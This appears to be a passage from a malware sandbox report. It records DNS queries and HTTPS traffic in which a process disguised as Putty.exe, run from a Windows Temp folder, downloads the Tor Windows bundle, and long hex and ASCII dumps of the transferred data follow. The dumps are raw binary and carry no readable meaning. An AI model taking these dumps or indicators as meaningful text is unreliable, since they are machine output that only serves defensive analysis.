8.8.8.8 192.168.2.5 0x1241 No error (0) www.torpro
ject.org

38.229.82.25 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.254587889 
CEST

8.8.8.8 192.168.2.5 0xc0d7 No error (0) www.torpro
ject.org

116.202.120.1
66

A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.254587889 
CEST

8.8.8.8 192.168.2.5 0xc0d7 No error (0) www.torpro
ject.org

116.202.120.1
65

A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.254587889 
CEST

8.8.8.8 192.168.2.5 0xc0d7 No error (0) www.torpro
ject.org

38.229.82.25 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.254587889 
CEST

8.8.8.8 192.168.2.5 0xc0d7 No error (0) www.torpro
ject.org

95.216.163.36 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.430855989 
CEST

8.8.8.8 192.168.2.5 0x4c62 No error (0) dist.torpr
oject.org

38.229.82.25 A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.430855989 
CEST

8.8.8.8 192.168.2.5 0x4c62 No error (0) dist.torpr
oject.org

116.202.120.1
65

A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.430855989 
CEST

8.8.8.8 192.168.2.5 0x4c62 No error (0) dist.torpr
oject.org

116.202.120.1
66

A (IP address) IN 
(0x0001)

false

Sep 20, 2022 
12:10:07.430855989 
CEST

8.8.8.8 192.168.2.5 0x4c62 No error (0) dist.torpr
oject.org

38.229.82.35 A (IP address) IN 
(0x0001)

false

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

            
www.torproject.org

            
dist.torproject.org

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.5 49728 116.202.120.166 443 C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

Timestamp
kBytes
transferred

Direction Data

2022-09-20 10:10:06 UTC 0 OUT GET /download/tor/ HTTP/1.1
Host: www.torproject.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 
Safari/537.36
Connection: Keep-Alive
Accept-Encoding: gzip, deflate

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-09-20 10:10:06 UTC 0 IN HTTP/1.1 200 OK
Date: Tue, 20 Sep 2022 10:10:06 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Xss-Protection: 1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15768000; preload
Onion-Location: http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/download/tor/index.html
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
Last-Modified: Thu, 08 Sep 2022 17:10:52 GMT
ETag: "4965-5e82d82faa861"
Accept-Ranges: bytes
Content-Length: 18789
Cache-Control: max-age=3600
Expires: Tue, 20 Sep 2022 11:10:06 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Language: en

2022-09-20 10:10:06 UTC 0 IN Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 
77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 
3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 
3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 
2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 
69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 65 66 65 6e 64 20 79 6f 75 72 73 65 6c 66 20 61 67 61 69 6e 73 
74 20 74 72 61 63 6b 69 6e 67 20 61 6e 64 20 73 75 72 76 65 69 6c 6c 
Data Ascii: <!doctype html><html xmlns="http://www.w3.org/1999/xhtml" lang="en" ><head>  <meta charset="utf-8">  
<meta name="viewport" content="width=device-width, initial-scale=1">  <meta name="description" content="Defend 
yourself against tracking and surveill

2022-09-20 10:10:06 UTC 8 IN Data Raw: 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 
3c 2f 64 69 76 3e 0a 20 20 20 20 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 66 
6c 75 69 64 20 6f 72 64 65 72 2d 6c 61 73 74 20 74 65 78 74 2d 6c 65 66 74 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 
63 6c 61 73 73 3d 22 72 6f 77 20 66 6c 65 78 2d 78 6c 2d 6e 6f 77 72 61 70 20 6f 72 64 65 72 2d 6c 61 73 74 20 74 65 78 
74 2d 6c 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 61 69 6e 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 20 63 6c 61 73 7
3 3d 22 6d 78 2d 61 75 74 6f 20 63 6f 6c 2d 31 32 20 6f 72 64 65 72 2d 6c 61 73 74 20 74 65 78 74 2d 6c 65 66 74 22 3e 
0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 
Data Ascii: v>  </div></div>      </div>    </div>        <div class="container-fluid order-last text-left">      <div class="row 
flex-xl-nowrap order-last text-left">        <main role="main" class="mx-auto col-12 order-last text-left">          <div class=

2022-09-20 10:10:06 UTC 16 IN Data Raw: 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 
63 6f 6c 2d 38 20 6d 74 2d 35 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 
22 74 65 78 74 2d 70 72 69 6d 61 72 79 20 74 65 78 74 2d 6c 69 67 68 74 22 3e 54 72 61 64 65 6d 61 72 6b 2c 20 63 6f 
70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 73 2c 20 61 6e 64 20 72 75 6c 65 73 20 66 6f 72 20 75 73 65 20 62 79 20 74 6
8 69 72 64 20 70 61 72 74 69 65 73 20 63 61 6e 20 62 65 20 66 6f 75 6e 64 20 69 6e 20 6f 75 72 20 0a 20 20 3c 61 20 68 
72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 61 62 6f 75 74 2f 74 72 61 
64 65 6d 61 72 6b 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 
Data Ascii: -content-center">      <div class="col-8 mt-5">                <p class="text-primary text-light">Trademark, 
copyright notices, and rules for use by third parties can be found in our   <a href="https://www.torproject.org/about/t
rademark/" target="_bla

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.5 49729 116.202.120.166 443 C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

Timestamp
kBytes
transferred

Direction Data

2022-09-20 10:10:07 UTC 19 OUT GET /dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1
Host: www.torproject.org
Connection: Keep-Alive

2022-09-20 10:10:07 UTC 19 IN HTTP/1.1 302 Found
Date: Tue, 20 Sep 2022 10:10:07 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Xss-Protection: 1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15768000; preload
Onion-Location: http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/dist/torbrowser/11.5.2/tor-
win32-0.4.7.10.zip
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
Location: https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.7.10.zip
Cache-Control: max-age=3600
Expires: Tue, 20 Sep 2022 11:10:07 GMT
Content-Length: 321
Connection: close
Content-Type: text/html; charset=iso-8859-1
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2022-09-20 10:10:07 UTC 20 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 
6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 
3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 
74 70 73 3a 2f 2f 64 69 73 74 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 74 6f 72 62 72 6f 77 73 65 72 2f 31 31 2e 35 
2e 32 2f 74 6f 72 2d 77 69 6e 33 32 2d 30 2e 34 2e 37 2e 31 30 2e 7a 69 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 
0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.
7.10.zip">here</a>.</p><hr><address>Apac

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.5 49730 38.229.82.25 443 C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

Timestamp
kBytes
transferred

Direction Data

2022-09-20 10:10:07 UTC 20 OUT GET /torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1
Host: dist.torproject.org
Connection: Keep-Alive

2022-09-20 10:10:07 UTC 20 IN HTTP/1.1 200 OK
Date: Tue, 20 Sep 2022 10:10:07 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Xss-Protection: 1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15768000; preload
Content-Security-Policy: default-src 'self';
Onion-Location: http://scpalcwstkydpa3y7dbpkjs2dtr7zvtvdbyj3dqwkucfrwyixcl5ptqd.onion/torbrowser/11.5.2/tor-win32-
0.4.7.10.zip
Last-Modified: Wed, 24 Aug 2022 04:00:12 GMT
ETag: "6716ac-5e6f4b7b4a3a6"
Accept-Ranges: bytes
Content-Length: 6756012
Cache-Control: max-age=3600
Expires: Tue, 20 Sep 2022 11:10:07 GMT
Connection: close
Content-Type: application/zip

2022-09-20 10:10:07 UTC 21 IN Data Raw: 50 4b 03 04 0a 00 00 00 00 00 60 72 0c 55 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 44 61 74 61 2f 50 
4b 03 04 0a 00 00 00 00 00 60 72 0c 55 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 44 61 74 61 2f 54 6f 72 2f 50 
4b 03 04 14 00 00 00 08 00 60 72 0c 55 96 44 fe 8b d3 63 12 00 2c d8 3c 00 0e 00 00 00 44 61 74 61 2f 54 6f 72 2f 67 65 
6f 69 70 7c bd cb 92 26 b9 71 2e b8 8f a7 28 b3 b3 98 4d 49 8a c0 1d da 1c cb ba 67 d7 a5 93 55 d5 e4 74 ef 28 a9 25 71 
8c 62 1f 23 a9 33 33 6f 3f f8 2e 8e c8 d5 b4 b1 d9 9f 7b e2 77 20 10 08 c0 e1 70 77 fc 8f 17 df ff f3 4f 7f 7b f1 ef 7f fa f3 af 
2f fe f3 8f 7f 7b f1 2f bf fe fa 97 17 ff fa db 5f fe f7 af 7f fd fb af ff f6 e2 df ff fa db 7f bd f8 fb 7f fe fa e2 f1 e9 dd 9f fe fa eb 8b
4f bf fd eb 1f ff fe a7 df fe 
Data Ascii: PK`rUData/PK`rUData/Tor/PK`rUDc,<Data/Tor/geoip|&q.(MIgUt(%qb#33o?.{w pwO{/{/_O

2022-09-20 10:10:08 UTC 28 IN Data Raw: 84 37 46 c8 6c fa 10 fa a0 21 0b bb 1e 61 36 69 9e 57 7c ef c4 ac 08 87 ff fe 3a 78 f8 cf 8a 26 ec 3a fa 8e 88 f5 
73 9e 6b fb e7 4d 9a 15 d6 e7 bc 4b 0e 2d a6 63 7d e1 99 31 8c c6 89 4c fa e8 c2 38 46 cc 57 bc 3a 86 47 45 1f 0f e3 41 
e6 0c 3d 59 d8 cc 1c 8d 27 46 e3 c7 75 42 29 55 49 60 31 11 e6 a5 99 81 98 b5 5f 74 73 65 2f d1 73 81 b5 5f b4 83 71 29 
27 66 45 b2 66 bf 15 53 d6 6c 84 75 4d 6f 18 85 29 33 85 ab a7 30 87 cd 50 44 ea a7 df 1f c6 94 99 2f 87 c2 19 b3 9d 99 
e1 de d8 8c 08 27 31 b1 22 3c 7e 39 8c f5 73 ee 37 a9 16 0e 45 8f 02 70 6b a9 0e c9 da 5a 02 14 ef ca 85 25 b3 b4 78 71 
c3 56 62 00 2c e5 fc b8 86 ad c4 8d 5e 1b 56 63 e8 b5 c1 27 ca cc 45 c3 57 4c ac 9f 2b 84 5c 25 a7 d4 42 38 94 b4 78 cc 
a2 cd 1d 00 dc de f4 3a 16 56 cf 17 66 2f 51 93 4a 
Data Ascii: 7Fl!a6iW|:x&:skMK-c}1L8FW:GEA=Y'FuB)UI`1_tse/s_q)'fEfSluMo)30PD/'1"<~9s7EpkZ%xqVb,^Vc'EW
L+\%B8x:Vf/QJ

2022-09-20 10:10:08 UTC 36 IN Data Raw: 7d 8b 41 3b 6c c9 1f 8a 86 90 4c 47 43 2c 50 f3 1e 60 43 91 89 15 b9 32 b3 22 17 84 55 51 bf 97 89 d1 bd 4c 
28 98 c2 b5 2b 98 a2 0e 05 53 48 dd 72 30 45 1d 0a a6 50 45 0e a6 40 3c f4 de ae 12 b3 22 45 58 b8 a4 bc fb 2a 33 3d 
78 c3 48 cc 8a 14 76 a1 4f c6 61 17 0b d4 bd 09 25 56 45 bd ee 57 8c 05 41 32 e9 07 e8 8a e4 07 88 c0 eb 1c 5a 3a b1 
7e ce d8 01 cb 54 ec 40 9d 8a da a0 cc e9 a8 8d ea b4 5d 94 e9 b4 5d 00 bc 2c 98 ef 9d f9 69 4e 32 73 0a c3 0b b1 7e 9e 
99 75 f6 cb 61 ac 8a 18 a4 60 99 0a 52 a8 cc df d0 b5 98 12 ab 24 4d 49 d4 00 89 55 12 97 ca 6b aa 64 46 01 d5 5e 6b e
c a4 88 d5 ce ba 37 8c c4 6a 12 73 a7 bc 53 e3 9b e6 f9 79 f6 11 a7 ab c0 45 32 99 64 d5 8f 39 b4 61 9c 17 53 a7 72 2d 
26 a6 cc f5 19 e4 90 09 4c 99 57 ba 42 8d 21 56 c9 48 b2 2a cc 51 
Data Ascii: }A;lLGC,P`C2"UQL(+SHr0EPE@<"EX*3=xHvOa%VEWA2Z:~T@]],iN2s~ua`R$MIUkdF^k7jsSyE2d9aSr-
&LWB!VH*Q

2022-09-20 10:10:08 UTC 44 IN Data Raw: cc 9a 26 0a d9 33 32 21 06 91 cc c6 47 e2 d2 53 1f c9 18 38 cf 8b a7 14 31 c4 a6 af 9c 4a f3 96 d6 93 ec 36 bc 
ba 06 41 d9 49 27 d7 9f 7f 3c 82 a0 10 c7 76 aa b4 63 3b 85 ac 23 07 c1 a7 ac ba 40 cc a5 75 83 18 d1 65 f7 a5 20 58 ba 
eb c6 6d 95 ee ba 72 1b 48 6f 9e a3 8a 04 df fc 60 07 fa cd 93 48 c1 b6 67 74 10 94 3d e4 03 e5 d2 f2 81 02 ea b4 c7 ba 
74 a7 3d 96 28 82 ae 82 70 69 2a da 51 9a 8a 76 1e eb 6d 9c 23 fa 5b c4 10 3b d9 53 37 08 96 c6 ea 11 1f 37 09 be 06 
a0 16 b2 45 a8 b4 12 3d b9 b4 32 3d 11 d1 97 48 b2 49 a0 81 a1 40 a9 b4 15 28 a0 0c 63 98 a6 02 11 43 6c 8c c8 28 0d 
a2 90 cd 94 26 96 cd 20 53 56 59 4e 5e b3 ab d2 24 58 25 72 6a 5c f1 94 24 9a d8 71 2e 15 c4 30 db 2a bf 89 24 d9 e9 
b2 ca 1f 84 84 e8 1a 1e f5 49 d1 3d 3c 70 7d d1 7d ac 28 6d 22 
Data Ascii: &32!GS81J6AI'<vc;#@ue XmrHo`Hgt=t=(pi*Qvm#[;S77E=2=HI@(cCl(& SVYN^$X%rj\$q.0*$I=<p}}(m"
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2022-09-20 10:10:08 UTC 51 IN Data Raw: 9c 70 9b ed e8 41 9c 0a 6f f5 16 cb b9 d4 5b a0 5b 59 60 1a 25 55 59 fa f6 14 e8 4c eb a3 2a eb 1d f8 87 05 55
ea 2d d0 56 6f 7b a9 0e e5 03 ea 61 e5 ef cc 5b a1 2a 97 4e b9 87 4f 69 8e d9 eb ca 91 10 ec ee e0 3c 20 a8 b7 cc 20 d3 
4b 77 14 1e ae 46 db ea 6d 67 b4 b1 aa 1c 77 14 5e f7 cd 1d 42 5b bd ed 8c 98 54 95 e3 8e ab eb 65 3a 80 0e 68 ab b7 
b8 d3 59 ea 2d d0 56 6f 11 dc 20 3d 16 68 eb b1 eb a5 3a 3e 0d 68 9f fd 33 63 9d 06 04 22 19 f6 ba 53 93 23 ce 3a 22 02 
f6 80 a8 c9 a1 65 b8 bb 6d db 63 e1 99 68 85 75 a1 5b 61 ad d9 c1 62 40 fb ec 1f 77 b0 59 61 ad f9 8e 0a eb c8 46 a4 01 
b1 d0 3e 10 c1 d5 6c b2 c7 02 6d af d4 ee 4b 4e 84 ee a9 a0 56 07 74 01 dd 0a 6b ad 8e dc 42 64 ce 3e fb 5f 8b b5 43 b4 
16 4a fb ec 7f 11 0e d1 5a e8 0e d1 ea b5 3b e8 0a 68 db 
Data Ascii: pAo[[Y`%UYL*U-Vo{a[*NOi<  KwFmgw^B[Te:hY-Vo =h:>h3c"S#:"emchu[ab@wYaF>lmKNVtkBd>_CJZ;h

2022-09-20 10:10:08 UTC 59 IN Data Raw: 8d 74 1c a7 d9 ed 96 ad 64 3b 42 4e c4 16 84 64 57 a6 f1 b5 ec 9a 63 20 2b f6 8d fa a0 08 97 86 25 52 db 7c 
11 ea 2a b8 c7 ce 97 9f 2c 84 e9 b5 89 a8 5a b8 07 ab 55 8b eb a4 3f 46 54 d9 ce ec 49 49 ce 37 6e b7 9c 6f 88 18 9e ee 
1e 54 78 3a 11 13 86 b8 25 ad 15 0f b6 c6 b3 0c bf 86 d6 4f b7 9b a1 16 31 20 18 6a 61 76 95 93 96 89 a4 2a 65 05 75 4b 
ba 15 d6 cb 17 bf 58 48 3f 87 5b d2 e9 f8 e0 c7 e9 d7 e5 69 a6 f3 92 41 3f bc ee bc 25 e2 7d d1 ae b2 a7 cb af a1 33 a9 
87 9f b2 a7 ec d7 a0 08 91 68 49 6a fe d2 74 d7 8c 1f be 97 e6 8f 44 9e 47 7e 78 79 1e 09 cd 7b ea 95 2b 31 11 f7 52 f1 
38 de 4b 01 41 3f 89 76 7b 2f 75 f9 1e 9b 68 e0 e8 6e a0 3c 8f a8 68 8b 50 95 ba de c6 d3 e3 48 c3 42 06 93 01 fa 03 04 
a1 96 28 b2 e5 9b e6 2a 45 b6 10 d1 dd c0 f3 e0 ac 97 db 
Data Ascii: td;BNdWc +%R|*,ZU?FTII7noTx:%O1 jav*euKXH?[iA?%}3hIjtDG~xy{+1R8KA?v{/uhn<hPHB(*E

2022-09-20 10:10:08 UTC 67 IN Data Raw: c3 ec aa cb 28 83 b0 10 9a dc 91 1a d3 44 33 3b eb b6 e3 20 92 d9 43 97 aa 07 61 21 b4 ad eb 23 61 ba 75 
b7 a4 c7 1d 7e 26 2c 9b b6 f5 8f 1a df d5 b6 f5 d2 95 7c f1 b5 9e d2 c9 17 81 ea 76 cf 13 a1 c7 d1 39 b7 47 55 9c 73 17 
27 62 fb a0 8e 75 22 36 1b f9 6d fc 97 91 1f 0d 84 37 d9 0c ad 40 c4 aa 72 34 6f dc 31 20 4c 2c 21 38 28 63 ae 0f 4c 78 
22 20 64 bd 8c 5e c2 27 de c4 10 9b b1 6f 28 6d 22 91 3d e8 87 e7 d2 43 7e 78 44 d0 1e 3f ff 7c 04 31 cc 86 1d 02 29 82 
4d 14 b3 a7 6f eb 11 e1 96 8c 0b e6 09 68 8f 26 9a d9 45 d7 48 07 e1 2a 91 25 98 2f cd 84 ab bc e2 e1 4d b8 4a 6e 83 7e 
79 38 4c 14 57 99 8a 83 c2 4d b8 ca 14 56 0b 13 ae 92 be fc af 5c a5 7c f9 89 a0 de e2 d8 c7 84 ab cc 71 29 81 88 e4 2a 
e9 b5 f7 31 84 50 3f 01 a2 d7 1e 46 ac 09 57 59 42 3f 31 e1 
Data Ascii: (D3; Ca!#au~&,|v9GUs'bu"6m7@r4o1 L,!8(cLx" d^'o(m"=C~xD?|1)Moh&EH*%/MJn~y8LWMV\|q)*1P?FWYB?
1

2022-09-20 10:10:08 UTC 75 IN Data Raw: 7b 57 8f d8 fe 56 f2 8a b0 99 02 86 8b 6b 4c 61 3f 7c 7e 25 68 2e de fd 0c 1f 01 2b 71 a2 9d ef 7a 1c 12 ed 48 
92 37 d6 4f 7f bc 12 50 5b ec 62 ee 60 00 7f 97 64 d4 f1 8f 46 46 1d 49 4a 86 f3 e5 fb 2b 41 71 b1 b2 de a4 12 65 bd 91 
74 62 0d 01 6e b2 c8 6f dd ef 5b c0 4a 9c f5 86 da ce 7a 13 d2 9a 64 10 4d a0 da d3 79 0d 7f d5 b0 9f ce 6b 38 74 cd 13 
27 81 ff ea 29 05 5c bb 94 74 0b 37 70 07 ef 2d dd 60 eb 0c 50 93 32 40 6d 1e 5e 06 28 d7 ae b2 f5 fe f5 f9 95 60 b9 58 
a1 20 5f fe 7a 25 40 c9 24 31 74 82 46 71 f2 b3 19 14 74 2f 12 b9 26 40 c9 4a ea 29 80 95 34 5d 5a f8 bb 94 15 cb 4a ba 
6c 78 61 b2 01 f8 e1 9d 35 81 da ce 9a 10 92 f3 20 f8 67 20 0f c2 10 93 d4 7e 1e 7e e5 3c b8 de a5 9d 19 59 a0 b8 58 37 
08 ae ad e4 03 d4 d6 0d 82 67 08 81 e5 62 dd 20 b8 27 
Data Ascii: {WVkLa?|~%h.+qzH7OP[b`dFFIJ+Aqetbno[JzdMyk8t')\t7p-`P2@m^(`X _z%@$1tFqt/&@J)4]ZJlxa5 g ~~
<YX7gb '

2022-09-20 10:10:08 UTC 83 IN Data Raw: 89 76 05 e8 ae ec 0a ee 97 ac d5 55 06 07 03 2b e9 f2 59 f8 fa e7 2b 81 9b ec ba 0a d3 a4 64 60 dd a6 53 e4 
29 a1 53 dc 19 32 f4 b7 6b 13 32 74 4b 0e f9 d4 2f 6f 60 dd 53 49 1d 7f f5 3b 99 4e ea 28 c6 df 99 37 4d 06 51 3b 28 98 af 
dc 51 1b 2c 15 3b 4b b3 94 18 44 07 a7 5e e0 f6 af 23 a0 a1 39 57 d1 75 95 de 89 81 94 c4 39 60 63 64 0c e0 57 15 e9 
4b 63 e2 50 6d 83 a1 e2 2e 2b a8 3a 68 d0 54 bc f6 d9 29 19 c4 3b 59 10 6c 59 49 12 6c ed f0 63 8c dd 8c 8e 86 06 a1 
3b 56 bd 33 7c 0c 28 96 a5 52 1f a0 80 1e 67 37 1b 61 5c bb a5 11 e6 9e c7 75 f8 50 4f 0c e2 29 77 18 4c f2 6b 30 88 9e 
ec 08 54 ad 58 16 0c d4 e4 d4 b9 93 da f3 6d f2 00 e5 b6 a8 84 7c 02 a4 04 ba 0b 6a 43 77 71 4b ca c8 94 b5 0b f3 49 e4 
85 39 b7 41 06 cb c5 25 33 46 01 8a 8b eb 39 1d ed e4 cc 08 
Data Ascii: vU+Y+d`S)S2k2tK/o`SI;N(7MQ;(Q,;KD^#9Wu9`cdWKcPm.+:hT);YlYIlc;V3|(Rg7a\uPO)wLk0TXm|jCwqKI
9A%3F9

2022-09-20 10:10:08 UTC 91 IN Data Raw: 7a c7 27 b5 2f f6 f6 cd ce 20 3c 4e 3a 83 dc 92 dc 3b 98 38 d2 bd 23 8c b1 57 de d5 19 34 8a 63 05 fc 9d da 
3d 57 40 bb 77 9c da ec d6 9b 7c ba 4e 07 47 2e 8c 4a f9 97 bf e5 1e 58 58 9b 32 d3 9d da 2b 17 46 65 78 cb 87 df 5c 71 
8c ae 2c 6c 28 11 68 14 b7 b4 7f 0b f8 47 eb e6 ac f3 d0 ec 70 d6 85 24 37 09 f7 bb bf 71 93 18 78 7a b9 c9 f4 f4 0a 49 5e 
08 5f 28 c6 0b 61 28 7b aa e3 bc 0c b2 49 25 d4 fb 46 93 13 0b 6b 37 4d 9e 7f 9d 0e 4d 5e 48 4a a8 f7 2b b5 37 9b b3 fb 
bd ef b3 16 0b b8 c9 ab be cf 89 51 c0 ba 2f dd a1 fb b7 14 40 89 6e c5 3f ff 4d 31 6b 5a bf 9e 0b 11 81 42 b1 76 a6 df 28 
ce 9d e9 3d a4 ae f4 25 32 70 bf 8b 48 db 3d cd 08 b8 c9 a2 cc 79 f4 bb 5c d8 63 bb 68 16 f3 d7 29 17 03 b9 9b 41 9d 57 
55 d2 c6 71 4b 61 7e fb e9 8f 57 02 f7 44 09 de 4f 
Data Ascii: z'/ <N:;8#W4c=W@w|NG.JXX2+Fex\q,l(hGp$7qxzI^_(a({I%Fk7MM^HJ+7Q/@n?M1kZBv(=%2pH=y\ch)AWUq
Ka~WDO

2022-09-20 10:10:08 UTC 98 IN Data Raw: 14 a0 49 a5 e8 e0 c5 92 a2 23 24 b9 fb f2 38 a4 e8 90 54 ce b4 2e 90 b5 e5 ee fb 99 62 36 67 4e 19 75 fa bd 
39 1a 0e 27 f4 60 d8 93 d0 43 d2 f3 a5 09 50 5b 79 3e 78 83 e4 f9 08 49 51 78 f4 9b 3c 1f 21 29 0a 8f 7e 93 e7 23 a4 f6 
ac 52 83 3c 1f 2c 97 e7 97 27 cf 87 a4 d6 cf 38 a9 3d bf 34 a7 ff 48 25 83 55 6a 38 fd 47 f6 7b 72 20 1b a4 ff 40 f7 e2 40 
36 9c fe 23 9b dc 9c bc 86 d3 7f d0 6f d2 7f 84 74 d5 67 2a 08 e0 26 5b 30 24 9e da 85 93 d7 70 b2 90 3f dd 41 92 85 84 
14 b4 7f d9 64 00 9a 8c ac 16 ac ae 02 d4 56 6a 11 9e 92 d4 22 21 29 b5 08 4f 49 6a 91 90 14 54 98 ba 27 87 a6 5b 9a 
2d cf ae 02 d4 5e fd 98 dc 07 19 47 42 72 c6 11 8f 13 32 8e dc 92 33 8e d0 41 32 8e 84 a4 58 43 9a ec 17 c7 a0 41 22 12 
2b 21 11 49 48 0a 41 64 d8 93 88 24 a4 a6 bc 86 28 69 1c 
Data Ascii: I#$8T.b6gNu9'`CP[y>xIQx<!)~#R<,'8=4H%Uj8G{r @@6#otg*&[0$p?AdVj"!)OIjT'[-^GBr23A2XCA"+!IHAd$(i

2022-09-20 10:10:08 UTC 106 IN Data Raw: b8 f3 02 50 5b d7 55 bf 51 db d7 55 92 06 e9 dd 01 83 e2 d8 6b 9e da 8b af 61 8a ab e9 57 bf d8 59 f2 2b 9e 
ba f3 ca da be f3 92 34 c8 11 6f c0 88 9d da b0 fe 27 95 2c 3e a9 a9 ab 30 7e e2 e9 ab b0 90 74 15 96 4f d9 72 2a 98 2d 
f7 27 00 9a ec e9 12 00 a0 83 da f5 66 93 de f5 86 a4 5d 6f 36 e9 5d 6f 48 da f5 fe 42 93 de f5 de d2 d2 ae 97 9e ac 77 ae 
97 eb 4a db 23 c0 4d ae e3 a0 0e 70 93 eb f0 40 01 06 c5 fb 2c e8 02 e8 16 e1 53 2a 31 e1 53 48 a2 70 0a aa 01 00 ba 
15 29 f7 05 dd 2b bf e2 a5 48 b9 6c 72 e5 57 bc e4 13 cf c3 af 9d eb e5 da f3 99 94 d6 ce 85 71 eb 86 8c 31 b8 df f9 71 6f 
85 c4 fd ec 7e 6f 87 c4 85 54 62 61 fc e4 35 2d 00 4a c4 13 ff c3 cf af 04 59 3b e3 1b 00 e8 96 1b 3e 5f f1 b6 1b be a4 e4 
9b 01 a0 c4 de f9 1e f6 bb e5 7a b9 c5 03 c5 8b dd 
Data Ascii: P[UQUkaWY+4o',>0~tOr*-'f]o6]oHBwJ#Mp@,S*1SHp)+HlrWq1qo~oTba5-JY;>_z

2022-09-20 10:10:08 UTC 114 IN Data Raw: 00 4d 8a 9a 87 57 55 a1 e6 b9 25 59 44 52 37 16 91 5b 12 35 8f 6e 69 0d 68 52 01 5d 7f 7d 72 31 01 5d f7 80 
